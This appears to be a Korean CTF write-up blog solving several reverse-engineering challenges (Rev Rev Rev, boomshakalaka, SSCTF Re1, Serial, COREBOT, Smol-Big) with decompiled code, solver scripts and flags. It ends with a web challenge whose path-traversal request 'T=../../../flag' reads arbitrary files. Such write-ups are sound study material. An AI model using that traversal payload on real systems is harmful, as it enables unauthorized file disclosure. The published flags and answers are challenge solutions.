문제를 보면 입력 값이 총 4개의 함수를 거치면서 변환되고 이 값을 특정 값과 비교한다.



먼저 첫번째 함수를 보면 아래와 같이 개행문자를 널값으로 치환하여 문자열 끝처리를 한다.



두번째 함수는 문자열을 reverse 시키는 연산을 하는걸 볼 수 있다.



세번째 함수가 핵심 로직으로 연산이 역연산짜기 좀 까다로워서 Bruteforcing형태로 해결했다.




마지막 네번째 함수는 간단한 보수연산을 한다.





위 로직들에 맞춰 인풋의 각 자리별 문자를 BruteFocing하는 형태로 플래그를 구해줬다.


flagTable = [0x41,0x29,0xD9,0x65,0xA1,0xF1,0xE1,0xC9,0x19,0x09,0x93,0x13,0xA1,0x09,0xB9,0x49,0xB9,0x89,0xDD,0x61,0x31,0x69,0xA1,0xF1,0x71,0x21,0x9D,0xD5,0x3D,0x15,0xD5]

flag = ""


for i in xrange(len(flagTable)):

    for j in xrange(256):

        v1 = 2 * (j&0x55) | (j>>1)&0x55

        v2 = 4 * (v1 & 0x33) | (v1 >> 2) & 0x33

        result = 16 * v2 | (v2 >> 4)

        if result&0xff == ~flagTable[i]&0xff:

            flag += chr(j)


print "[*]Find Flag = " + flag[::-1]


[*]Find Flag = TWCTF{qpzisyDnbmboz76oglxpzYdk}




'CTF > Writeup' 카테고리의 다른 글

TAMUctf 19 Obfuscaxor  (0) 2019.03.22
Pico CTF 2018 keygen-me-2  (0) 2019.03.22
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
SSCTF 2016 : Re1  (0) 2019.03.13
Sharif University CTF 2016 : Serial  (0) 2019.03.11
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

안드로이드 게임 앱 리버싱 문제다.


1945같은 간단한 비행 게임인데 문제 설명란에 최고점수를 얻으라고 나와있다.


대충 점수조작을 하면 될것같다 생각했고 일단 자바코드부터 보면 아래와 같이 SharedPreferences를 통해 앱 데이터 로컬 영역에 임의의 값을 저장하고 있었다.



위 값들은 앱 실행 시 초기 값을 담는 정도였고 자바코드에선 더이상 볼게 없어서 네이티르 코드를 분석해봤다.


점수와 관련된 코드를 찾아보니 updateScore라는 함수가 존재했고 해당 함수 코드는 아래와 같았다.


cocos2d::CCUserDefault *__fastcall ControlLayer::updateScore(cocos2d::CCUserDefault *result, unsigned int a2)

{

  int v2; // r3

  const char *v3; // r4

  int v4; // r7

  cocos2d::CCUserDefault *v5; // r0

  int v6; // r5

  int v7; // r3

  char *v8; // r0

  int v9; // r5

  int v10; // r3

  int v11; // r5

  int v12; // r3

  int v13; // r5

  int v14; // r3

  int v15; // r5

  int v16; // r3

  int v17; // r5

  int v18; // r3

  int v19; // r5

  int v20; // r3

  int v21; // r5

  int v22; // r3

  int v23; // r5

  int v24; // r3

  int v25; // r5

  int v26; // r3

  int v27; // r0

  int v28; // [sp+0h] [bp-68h]

  cocos2d::CCUserDefault *v29; // [sp+4h] [bp-64h]

  int v30; // [sp+8h] [bp-60h]

  char v31; // [sp+Ch] [bp-5Ch]

  char v32; // [sp+10h] [bp-58h]

  char v33; // [sp+14h] [bp-54h]

  char v34; // [sp+18h] [bp-50h]

  char v35; // [sp+1Ch] [bp-4Ch]

  char v36; // [sp+20h] [bp-48h]

  char v37; // [sp+24h] [bp-44h]

  char v38; // [sp+28h] [bp-40h]

  char v39; // [sp+2Ch] [bp-3Ch]

  char v40; // [sp+30h] [bp-38h]

  char v41; // [sp+34h] [bp-34h]

  char v42; // [sp+38h] [bp-30h]

  char v43; // [sp+3Ch] [bp-2Ch]

  int v44; // [sp+40h] [bp-28h]

  char v45; // [sp+44h] [bp-24h]

  int v46; // [sp+48h] [bp-20h]

  char v47; // [sp+4Ch] [bp-1Ch]


  v44 = 1635017060;

  v2 = 0;

  v45 = 0;

  v47 = 0;

  v29 = result;

  v3 = (const char *)a2;

  v46 = 0;

  do

  {

    *((_BYTE *)&v46 + v2) = *((_BYTE *)&v44 + v2) ^ 0x20;

    ++v2;

  }

  while ( v2 != 4 );

  if ( a2 <= 0x3B9ACA00 )

  {

    v4 = cocos2d::CCUserDefault::sharedUserDefault(result);

    sub_3A34D8(&v33, &unk_3F92A0, &v31);

    cocos2d::CCUserDefault::getStringForKey(&v32, v4, &v46, &v33);

    v5 = (cocos2d::CCUserDefault *)sub_3A1DDC(&v33);

    if ( v3 == (const char *)&dword_64 )

    {

      v6 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v34, &v32, "MW");

      cocos2d::CCUserDefault::setStringForKey(

        v6,

        (const char *)&v46,

        (const char **)&v34,

        v7,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v34;

    }

    else if ( v3 == (const char *)&stru_254.st_value )

    {

      v9 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v35, &v32, "Rf");

      cocos2d::CCUserDefault::setStringForKey(

        v9,

        (const char *)&v46,

        (const char **)&v35,

        v10,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v35;

    }

    else if ( v3 == (const char *)&stru_2B4.st_size )

    {

      v11 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v36, &v32, "Rz");

      cocos2d::CCUserDefault::setStringForKey(

        v11,

        (const char *)&v46,

        (const char **)&v36,

        v12,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v36;

    }

    else if ( v3 == (const char *)&stru_BB4.st_value )

    {

      v13 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v37, &v32, "Bt");

      cocos2d::CCUserDefault::setStringForKey(

        v13,

        (const char *)&v46,

        (const char **)&v37,

        v14,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v37;

    }

    else if ( v3 == (const char *)&stru_15D4.st_info )

    {

      v15 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v38, &v32, "RV");

      cocos2d::CCUserDefault::setStringForKey(

        v15,

        (const char *)&v46,

        (const char **)&v38,

        v16,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v38;

    }

    else if ( v3 == (const char *)&stru_26A4.st_size )

    {

      v17 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v39, &v32, "9Z");

      cocos2d::CCUserDefault::setStringForKey(

        v17,

        (const char *)&v46,

        (const char **)&v39,

        v18,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v39;

    }

    else if ( v3 == (const char *)&stru_4644.st_info )

    {

      v19 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v40, &v32, "b1");

      cocos2d::CCUserDefault::setStringForKey(

        v19,

        (const char *)&v46,

        (const char **)&v40,

        v20,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v40;

    }

    else if ( v3 == (const char *)&stru_15AD4.st_info )

    {

      v21 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v41, &v32, "Vf");

      cocos2d::CCUserDefault::setStringForKey(

        v21,

        (const char *)&v46,

        (const char **)&v41,

        v22,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v41;

    }

    else if ( v3 == (const char *)&stru_18694.st_info )

    {

      v23 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v42, &v32, "S2");

      cocos2d::CCUserDefault::setStringForKey(

        v23,

        (const char *)&v46,

        (const char **)&v42,

        v24,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v42;

    }

    else

    {

      if ( v3 != (const char *)1000000000 )

      {

LABEL_25:

        v27 = cocos2d::CCString::createWithFormat((cocos2d::CCString *)"%d", v3);

        (*(void (__fastcall **)(_DWORD, _DWORD))(**((_DWORD **)v29 + 66) + 428))(

          *((_DWORD *)v29 + 66),

          *(_DWORD *)(v27 + 20));

        return (cocos2d::CCUserDefault *)sub_3A1DDC(&v32);

      }

      v25 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v43, &v32, "4w");

      cocos2d::CCUserDefault::setStringForKey(

        v25,

        (const char *)&v46,

        (const char **)&v43,

        v26,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v43;

    }

    sub_3A1DDC(v8);

    goto LABEL_25;

  }

  return result;

}


대충보니 점수가 1000000000점이면 될 것 같아서 디버깅을 통해 해당 함수의 인자값을 1000000000점으로 바꿔보니 게임이 클리어되면서 잠겨있는 xml파일을 보라고 했다.


shared_prefs 폴더 내에서 Cocos2dxPrefsFile.xml 파일을 확인해보니 base64 인코딩된 값이 존재해서 이걸 디코딩해봤는데 중간의 값들이 깨져있었다. 


0ctf{C0coS2d_AnDro1gs��g�36�3&E��G&�w?}


단순히 게임 클리어만 하는 방식이 아닌 것 같아서 파일 내에 저장되는 base64 인코딩 값이  어떻게 생성되는지 코드를 좀 더 자세히 봤다.


코드 내 분기문들을 보니 게임 클리어과정에서 아래와 같은 형태로 특정 점수들을 지나갈때마다 최종 base64 인코딩 값의 일부 값들이 저장되고 있었다.


if ( v3 == (const char *)&dword_64 )

    {

      v6 = cocos2d::CCUserDefault::sharedUserDefault(v5);

      std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v34, &v32, "MW");

      cocos2d::CCUserDefault::setStringForKey(

        v6,

        (const char *)&v46,

        (const char **)&v34,

        v7,

        v28,

        (int)v29,

        v30,

        *(int (__fastcall **)(int))&v31);

      v8 = &v34;

    }


각 점수별로 저장하는 값들을 다 더해줬고 맨 앞 맨 뒤에 기본적으로 저장되는 값들을 디버깅으로 구해 최종 base64인코딩 값을 만들었다. 이를 디코딩해보면 정상적인 플래그 값이 나온다.


FLAG = 0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}






















'CTF > Writeup' 카테고리의 다른 글

Pico CTF 2018 keygen-me-2  (0) 2019.03.22
Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
SSCTF 2016 : Re1  (0) 2019.03.13
Sharif University CTF 2016 : Serial  (0) 2019.03.11
35C3 CTF 2018 COREBOT  (0) 2019.02.26
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

SSCTF 2016 : Re1

CTF/Writeup 2019. 3. 13. 16:53

안드로이드 리버싱 문제다.


앱을 실행해보면 유저명,비밀번호를 입력받아 중국어로된 문구를 띄어준다.


앱을 까서보면 인풋을 네이티브 함수의 인자로 사용하는데 해당 함수 리턴값이 True이면 된다.


ida로 jni 함수를 확인해보면 아래와 같이 상당히 복잡해보이는 코드가 나온다.


bool __fastcall getpl(const char *a1, const char *a2)

{

  int v2; // r7

  int v3; // r0

  const char *i; // r3

  int j; // r7

  int k; // r4

  int v7; // r0

  signed int v8; // r4

  int v9; // r0

  int l; // r6

  int v11; // r0

  _BOOL4 v12; // r3

  const char *v14; // [sp+0h] [bp-B90h]

  signed int v15; // [sp+0h] [bp-B90h]

  const char *v16; // [sp+4h] [bp-B8Ch]

  char v17[12]; // [sp+14h] [bp-B7Ch]

  int v18; // [sp+20h] [bp-B70h]

  int v19; // [sp+2Ch] [bp-B64h]

  int v20; // [sp+30h] [bp-B60h]

  const char *v21; // [sp+50h] [bp-B40h]

  const char *v22; // [sp+54h] [bp-B3Ch]

  const char *v23; // [sp+58h] [bp-B38h]

  const char *v24; // [sp+5Ch] [bp-B34h]

  const char *v25; // [sp+60h] [bp-B30h]

  const char *v26; // [sp+64h] [bp-B2Ch]

  const char *v27; // [sp+68h] [bp-B28h]

  const char *v28; // [sp+6Ch] [bp-B24h]

  const char *v29; // [sp+70h] [bp-B20h]

  const char *v30; // [sp+74h] [bp-B1Ch]

  const char *v31; // [sp+78h] [bp-B18h]

  const char *v32; // [sp+7Ch] [bp-B14h]

  const char *v33; // [sp+80h] [bp-B10h]

  const char *v34; // [sp+84h] [bp-B0Ch]

  const char *v35; // [sp+88h] [bp-B08h]

  const char *v36; // [sp+8Ch] [bp-B04h]

  const char *v37; // [sp+90h] [bp-B00h]

  const char *v38; // [sp+94h] [bp-AFCh]

  const char *v39; // [sp+98h] [bp-AF8h]

  const char *v40; // [sp+9Ch] [bp-AF4h]

  const char *v41; // [sp+A0h] [bp-AF0h]

  const char *v42; // [sp+A4h] [bp-AECh]

  const char *v43; // [sp+A8h] [bp-AE8h]

  const char *v44; // [sp+ACh] [bp-AE4h]

  char v45; // [sp+118h] [bp-A78h]

  int v46; // [sp+ADCh] [bp-B4h]

  int v47; // [sp+AE8h] [bp-A8h]

  int v48; // [sp+AF4h] [bp-9Ch]

  int v49; // [sp+B34h] [bp-5Ch]


  v16 = a2;

  v14 = a1;

  j_memset(&v21, 0, 200);

  v21 = "103066";

  v22 = "78yn";

  v2 = 0;

  v23 = "91";

  v24 = "jk@O";

  v25 = "w0%3";

  v26 = "okJni";

  v27 = "32tP";

  v28 = "pYn";

  v29 = "oty3e";

  v30 = "ss";

  v31 = "whw3";

  v32 = "Gh$";

  v33 = "ju3t";

  v34 = "g986";

  v35 = "rTp0";

  v36 = "J)g";

  v37 = "a";

  v38 = "pLoKm7";

  v39 = "0o7";

  v40 = "******";

  v41 = "plokm7";

  v42 = "SSCFlg2016";

  v43 = "aP$";

  v44 = "kEy";

  j_memcpy(v17, off_B309F004, 60);

  j_memset(&v48, 0, 64);

  j_memset(&v46, 0, 10);

  j_memset(&v47, 0, 10);

  j_memset(&v49, 0, 64);

  byte_B309F109 = 0;

  v3 = j_strlen(v14);

  for ( i = v14; i - v14 < v3; ++i )

  {

    if ( (unsigned int)*(unsigned __int8 *)i - 33 <= 0x5D )

      *((_BYTE *)&v47 + v2++) = *i;

  }

  for ( j = 0; *(&v21)[j] != 42; ++j )

    ;

  j_qsort(&v21, j, 4, cmp_string);

  for ( k = 0; k < j; ++k )

  {

    j_strcpy(&v45 + 50 * k, (&v21)[k]);

    v7 = j_strlen(&v45 + 50 * k);

    j_qsort(&v45 + 50 * k, v7, 1, cmp_char);

  }

  v8 = 0;

  do

  {

    while ( 1 )

    {

      j_strcpy(&v46, *(_DWORD *)&v17[4 * v8]);

      v9 = j_strlen(&v46);

      j_qsort(&v46, v9, 1, cmp_char);

      v15 = 0;

      for ( l = 0; l < j; ++l )

      {

        if ( !j_strcmp(&v45 + 50 * l, &v46) )

        {

          j_strcat(&v48, (&v21)[l]);

          v15 = 1;

        }

      }

      if ( v15 )

        break;

      switch ( v8 )

      {

        case 3:

          v8 = 4;

          j_strcat(&v48, v43);

          break;

        case 6:

          j_sprintf(&v49, "%c", 105);

          v8 = 7;

          j_strcat(&v48, &v49);

          break;

        case 11:

          v8 = 12;

          j_strcat(&v48, v20);

          break;

        default:

          goto LABEL_25;

      }

    }

LABEL_25:

    ++v8;

  }

  while ( v8 != 15 );

  j_strcat(&v48, &v47);

  j_sprintf(&v49, "%c", 125);

  j_strcat(&v48, &v49);

  j_sprintf(&v49, "%c", 123);

  j_strcat(&v49, &v48);

  j_strcat(&pl, v19);

  j_strcat(&pl, v18);

  j_strcat(&pl, &v49);

  if ( !v16 )

    return 0;

  v11 = j_strlen(v16);

  v12 = 0;

  if ( v11 == 0x27 )

    v12 = (unsigned int)j_strncmp(&pl, v16) <= 0;

  return v12;

}


근데 코드를 쭉 분석해보면 사실 인풋으로 들어온 유저명, 패스워드를 코드 내에서 전혀 사용하지 않고 있다가 마지막에 패스워드 길이 구하고 특정 값이랑 비교할때만 사용하고 있다.


즉, 저위의 복잡해보이는 코드를 분석할 필요가 없다는 거고 그냥 마지막에 strncmp에서 들어온 값만 확인해주면 된다.


디버깅을 통해 해당 값을 확인해봤고 플래그가 있었다.



FLAG = SSCTF{oty3eaP$g986iwhw32j%OJ)g0o7J.CG:}

'CTF > Writeup' 카테고리의 다른 글

Tokyo-Westerns-3rd-2017 CTF Rev Rev Rev  (0) 2019.03.15
0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
Sharif University CTF 2016 : Serial  (0) 2019.03.11
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

해당 바이너리를 ida로 까서보면 안티 디스어셈블리가 적용되어 있어 헥스레이 및 어셈블리 정적분석을 하기가 까다로웠다.


적용되어있던 안티 디스어셈블리 방식은 아래와 같았다.



jz short near ptr loc_4009f3+2


위 명령어를 보면 4009f5 주소를 점프를 하는데 ida에서는 해당 주소부터 디스어셈블하여 명령어를 해석해 주지 않고 있었다.


이를 해결하기 위해 동적분석을 진행했고 jz short near ptr loc_4009f3+2 명령어 실행 후  4009f5 주소로 점프했을때 ida에서 data 값으로 인식된 바이트 코드를 code로 인식하도록 convert해서 정상적으로 디스어셈블 하도록 해줬다.


이런식으로 계속 안티 디스어셈블을 우회해서 동적분석 진행하다보면 시리얼 비교 루틴이 나오는데 비교 로직은 간단했다.


flag_front = "EZ9dmq4c"

flag_end = ""

for i in range(0,len(flag_front)):

    if i==4:

        flag_end += chr(0xb4-ord(flag_front[i]))

    elif i==5:

        flag_end += chr(0xaa - ord(flag_front[i]))

    else:

        flag_end += chr(0x9b-ord(flag_front[i]))


print "FLAG = " + flag_front + flag_end[::-1]


FLAG = EZ9dmq4c8g9G7bAV













'CTF > Writeup' 카테고리의 다른 글

0CTF 2016 Quals : boomshakalaka  (0) 2019.03.14
SSCTF 2016 : Re1  (0) 2019.03.13
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

35C3 CTF 2018 COREBOT

CTF/Writeup 2019. 2. 26. 01:36

Windows 리버싱이다. 헥스레이로 코드를 보면 전체 코드자체는 간단하다.



전체 로직을 대충 설명해보면 Windows의 CryptoApi로 암호화된 값을 복호화 하고 이 때 사용하는 키를 로컬 PC의 볼륨 시리얼 값을 통해 생성한다.


암호화된 값은 sub_1261146 함수에서 특정 리소스 값을 통해 가져오는걸 사용해 주면 된다. 키 값과 같은 경우 실제 문제 서버의 시리얼 값을 알 수 없지만 실제 시리얼을 구해오는 걸 보면 2바이트 값이기 때문에 위 키 값 생성로직을 그대로 사용해서 brute  forcing이 가능하다.


CryptoApi와 같은 경우 해당 문제를 통해 처음 봤는데 구글링하면서 각 함수의 인자들이 어떤 의미인지 검색해가면서 확인했다. 이 부분에서 생각보다 애를 먹었는데 분석 결과 AES 암호화에 ECB 블록운용 방식을 사용하고 있었다.


위 코드에서 복호화된 값의 첫4바이트가 35C3인지 확인하고있기 때문에 이에 맞춰서 brute force해주는 python 코드를 짜서 돌려줬다.


from Crypto.Cipher import AES

def decrypt_AES_ecb(ciphertext,key):
cipher = AES.new(key,AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
return plaintext

resource = "1029B8459D2AAB93FE89FB829342A18C2E90630006118064B821C29F35E77EF2".decode("hex")


for serial in range(0x0,0xffff+1):
key = ""
for i in range(0,16):
key = chr((serial& 0xFF)) + chr((serial&0xff00)>>8) + key
serial ^= ((serial & 0xFFFF) >> 4) ^ ((serial & 0xFFFF) << 11) ^ ((serial & 0xFFFF) << 7)
flag = decrypt_AES_ecb(resource,key)
if "35c3" in flag.lower():
print "Find Flag[*] = "+flag


Find Flag[*] = 35C3_MalwareAuthorKryptoChef











'CTF > Writeup' 카테고리의 다른 글

SSCTF 2016 : Re1  (0) 2019.03.13
Sharif University CTF 2016 : Serial  (0) 2019.03.11
Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Evlz CTF 2019 Smol-Big

CTF/Writeup 2019. 2. 20. 20:37

대회 때 바이너리를 받아놓고 풀어보진 않았었는데, 풀 문제들 찾아보다 눈에보여서 풀어봤다.


먼저 바이너리를 실행해보면 입력값을 받아 1,0으로 이루어진 2진수 값으로 반환을 해준다. 이 값이 어떻게 반환되는지 보기 위해 아래 코드를 분석해봤다.



코드를 보면 0x55FF4A443080 메모리 영역에 테이블 값이 존재했는데 대충 값을 보니 아래와 같은 형태로 이루어져 있었다.


10 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 0 , 1 , 5 , 1 , 1 , 1 , 1 , 1 , 0 , 1 , 0 , 1 , 0 , 1  


이 때 입력 값으로 테이블 인덱스 값을 구해 해당 인덱스의 존재하는 값을 길이로 지정한다. 그 후 해당 길이만큼 반복문을 돌면서 그 다음 메모리에 존재하는 값들을 더해 구한 2진수 값 만들고 반환해준다.


알고리즘 분석은 다 했으니 이제 역연산을 해주면 되는데, 문제에서 바이너리와 함께 제공해준 데이터 파일을 역연산 해주면 된다.


flag_binary = "11110101011110010101111101111001110001100000001000000100101011111001110001100110100010110010111010111100101011100011000010000000001101110001100111000000011110011111000110111001001111100011001101011010111100000010011111011010110011011111000110101011100101011100011001110000000110100000001000000000001001101011000001100001001111110001100111110001011100000001101110010011111000110000100111110110100111000110011010001011111000110011111000000101010010011110001011110100111000110000110111110111100100000101111001010111000110000000110000110101100000110100000001101001010111000000110111000110010101001101110001100001011111100000001001001011110010101111101110001100111110001101110001100110100010110010111010111100101011111011100011001111001110000000100111110000111000000011100011001110000000001011100000111011110101111000000011100101111110001100110111001101110001100111110110000000001111001110001100111000000011010011100011001111000000011000000000111100111000110011011011111011000000000111000000011110011100100111110001100111110110110001011101110011101000001101011111000000111110010000110010101110010001001000010000000111000000111000011100000110000011101001001110000011100111111000000111100000011101001110000011101101110000001110010101110000011000010111001000111100000000010111111010001100001011101000011101011001101011011100011001110111101010000000100111000110011000001011001000011011001010101011101001110001100111110010100111110110010101101011000000011011100000000011000000010111100001110001100101010010111001011111100000001111001101011010111110001100001011111100000001001001011110010100000000100111000110011000000000001000000011100011001010100110111000110011100000000010111000001110111101010000010000111000110011111001010011100011001111101110000000111000110011010110101111110011110001011110100010111110001100110101101011110000001001111101110111101011110000000001101110010111111000110011111110101000000010011100011001110000000101010011011111011100011000000011001010101011100101011111011100011001101000101100101110101111001010111000110000000110000111000110011001010111110100001100101011111000001011111011000011010011111011001010000000011011100011000000011000011100011001101100101100101111010110000001101110000000001101111101110001100110110111110001011100000001101110001100111110001000010011111011100011001101011000000010111001011110101111100111000110011010001011001011101011110010101111101110001100111110101011110001100101101010110011100000111000000000110111000110011000010101001011100101111110000000111000110010000111000000011001010000001110000000001101010111001010"

table = "10,1,1,1,0,0,0,1,1,0,0,0,10,1,1,1,0,0,0,1,1,1,0,0,10,1,1,1,0,0,0,0,1,0,0,0,10,1,1,1,0,0,0,1,1,1,1,0,10,1,1,1,0,1,0,0,1,1,1,0,10,1,1,1,0,0,0,0,1,0,1,0,10,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,10,1,1,1,0,0,1,1,0,0,0,0,10,1,1,1,0,0,1,0,0,0,0,0,10,1,1,1,0,0,0,0,1,1,1,0,10,1,1,1,0,1,0,0,0,1,0,0,10,1,1,1,0,0,1,0,0,1,1,0,10,1,1,1,0,0,1,0,1,0,1,0,10,1,1,1,0,0,1,0,1,1,1,0,10,1,1,0,0,1,0,0,0,1,1,0,10,1,1,1,0,0,0,0,0,0,1,0,10,1,1,1,0,0,1,1,0,0,1,0,10,1,1,1,0,1,0,0,1,1,0,0,10,1,1,1,0,0,1,0,0,0,1,0,10,1,1,1,0,0,0,0,1,1,0,0,10,1,1,1,0,1,0,0,1,0,0,0,10,1,1,1,0,1,0,0,1,0,1,0,10,1,1,1,0,1,0,0,0,1,1,0,10,1,1,1,0,0,1,0,0,1,0,0,10,1,1,1,0,1,0,1,1,1,0,0,10,1,1,1,0,1,0,1,1,1,1,0,10,1,1,1,0,1,0,1,1,0,0,0,10,1,1,1,0,1,0,1,1,0,1,0,10,1,1,1,0,1,0,1,0,1,0,0,10,1,1,1,0,0,0,1,0,0,0,0,10,1,1,1,0,0,0,0,0,1,0,0,10,1,1,1,0,1,0,1,0,0,1,0,5,1,0,0,0,1,0,0,0,0,0,0,7,1,1,0,1,0,1,0,0,0,0,0,6,1,1,0,0,1,1,0,0,0,0,0,6,1,1,1,1,1,1,0,0,0,0,0,5,1,0,1,1,1,0,0,0,0,0,0,6,1,0,0,1,1,0,0,0,0,0,0,6,0,0,0,0,1,1,0,0,0,0,0,5,0,0,0,1,0,0,0,0,0,0,0,5,0,1,1,0,1,0,0,0,0,0,0,9,1,1,1,0,0,1,1,0,1,0,0,7,0,0,1,0,1,1,0,0,0,0,0,6,1,1,1,1,0,1,0,0,0,0,0,6,1,1,0,0,0,1,0,0,0,0,0,5,0,1,0,0,1,0,0,0,0,0,0,5,0,1,1,1,1,0,0,0,0,0,0,7,1,1,1,0,1,1,0,0,0,0,0,8,1,1,0,0,1,0,0,1,0,0,0,5,0,0,0,1,1,0,0,0,0,0,0,5,0,0,1,1,1,0,0,0,0,0,0,5,1,0,1,0,0,0,0,0,0,0,0,6,1,1,0,1,1,1,0,0,0,0,0,7,0,1,1,1,0,1,1,0,0,0,0,6,0,1,0,0,0,1,0,0,0,0,0,8,1,1,1,0,0,1,1,1,0,0,0,6,0,1,0,1,0,1,0,0,0,0,0,10,1,1,1,0,0,1,0,1,1,0,0,6,0,1,0,0,0,0,0,0,0,0,0,10,1,1,1,0,1,0,1,0,1,1,0,10,1,1,1,0,0,0,1,0,0,1,0,9,1,1,0,0,1,0,0,0,0,0,0,10,1,1,1,0,0,0,0,0,1,1,0,10,1,1,1,0,1,0,1,0,0,0,0,10,1,1,1,0,0,0,0,0,0,0,0,5,1,0,0,1,0,0,0,0,0,0,0,7,1,1,0,1,0,1,1,0,0,0,0,6,1,1,0,1,0,0,0,0,0,0,0,6,1,1,1,1,1,0,0,0,0,0,0,5,1,0,1,1,0,0,0,0,0,0,0,6,1,0,0,1,1,1,0,0,0,0,0,6,0,0,0,0,1,0,0,0,0,0,0,5,0,0,0,0,0,0,0,0,0,0,0,5,0,1,1,0,0,0,0,0,0,0,0,9,1,1,1,0,0,0,1,0,1,0,0,7,0,0,1,0,1,1,1,0,0,0,0,6,1,1,1,1,0,0,0,0,0,0,0,6,1,1,0,0,0,0,0,0,0,0,0,5,0,1,0,1,1,0,0,0,0,0,0,5,1,0,0,0,0,0,0,0,0,0,0,7,1,1,1,0,1,1,1,0,0,0,0,8,1,1,0,0,1,0,1,0,0,0,0,5,0,0,1,0,0,0,0,0,0,0,0,5,0,0,1,1,0,0,0,0,0,0,0,5,1,0,1,0,1,0,0,0,0,0,0,6,1,1,0,1,1,0,0,0,0,0,0,7,0,1,1,1,0,1,0,0,0,0,0,6,0,1,0,1,0,0,0,0,0,0,0,8,1,1,0,0,1,0,1,1,0,0,0,6,0,1,1,1,0,0,0,0,0,0,0,10,1,1,1,0,1,0,0,0,0,0,0,6,0,0,1,0,1,0,0,0,0,0,0,10,1,1,1,0,1,0,0,0,0,1,0"

table = table.split(',')

count = 1

binary = ""

binary_table = []



for i in range(0,len(table)):

    if i%12==0:

        tmp = int(table[i],10)

    elif i%12==11:

        binary_table.append(binary[0:tmp])

        binary = ""

        count += 1

    else:

        binary += table[i]


def flagSearch(flag_binary):

    for i in range(5,11):

        result = findString(flag_binary[0:i])

        if result!="not found":

            return [result,i]


def findString(data):

    for i in range(0,len(binary_table)):

        if data==binary_table[i]:

            return chr(i+32)

    return "not found"


flag = ""

for i in range(0,600):

    result = flagSearch(flag_binary)

    flag += result[0]

    flag_binary = flag_binary[result[1]:]

print flag


해당 코드를 돌려주면 아래와 같은 문장이 나오고 해당 문장 안에 플래그가 들어있었다.


Result

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, evlz{c0mpr3ssi0n_i5_g00d_f0r_h3al7h}ctf quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur


Flag = evlz{c0mpr3ssi0n_i5_g00d_f0r_h3al7h}ctf




'CTF > Writeup' 카테고리의 다른 글

Sharif University CTF 2016 : Serial  (0) 2019.03.11
35C3 CTF 2018 COREBOT  (0) 2019.02.26
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Trust CTF 2019 Web Writeup  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Codegate CTF 2019 KingMaker

2019. 2. 16. 16:18

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Archiver


문제에서 소스코드를 제공해 준다.


코드를 쭉 분석해보면 파일 다운로드 취약점이 터지는 부분이 보인다.


def viewArchive():

    url    = request.form['url']

    T      = request.form['T']

    hashed = util.hashing(url)


    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')

    data = unicode(fd.read())

    fd.close()

    return render_template('view.html', data=data)


T 파라미터에 ../로 상위 경로 파일을 읽어주면 된다.


url=http%3A%2F%2Fwww.naver.com&T=../../../flag&btn=Save


Flag = TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}



JJcode


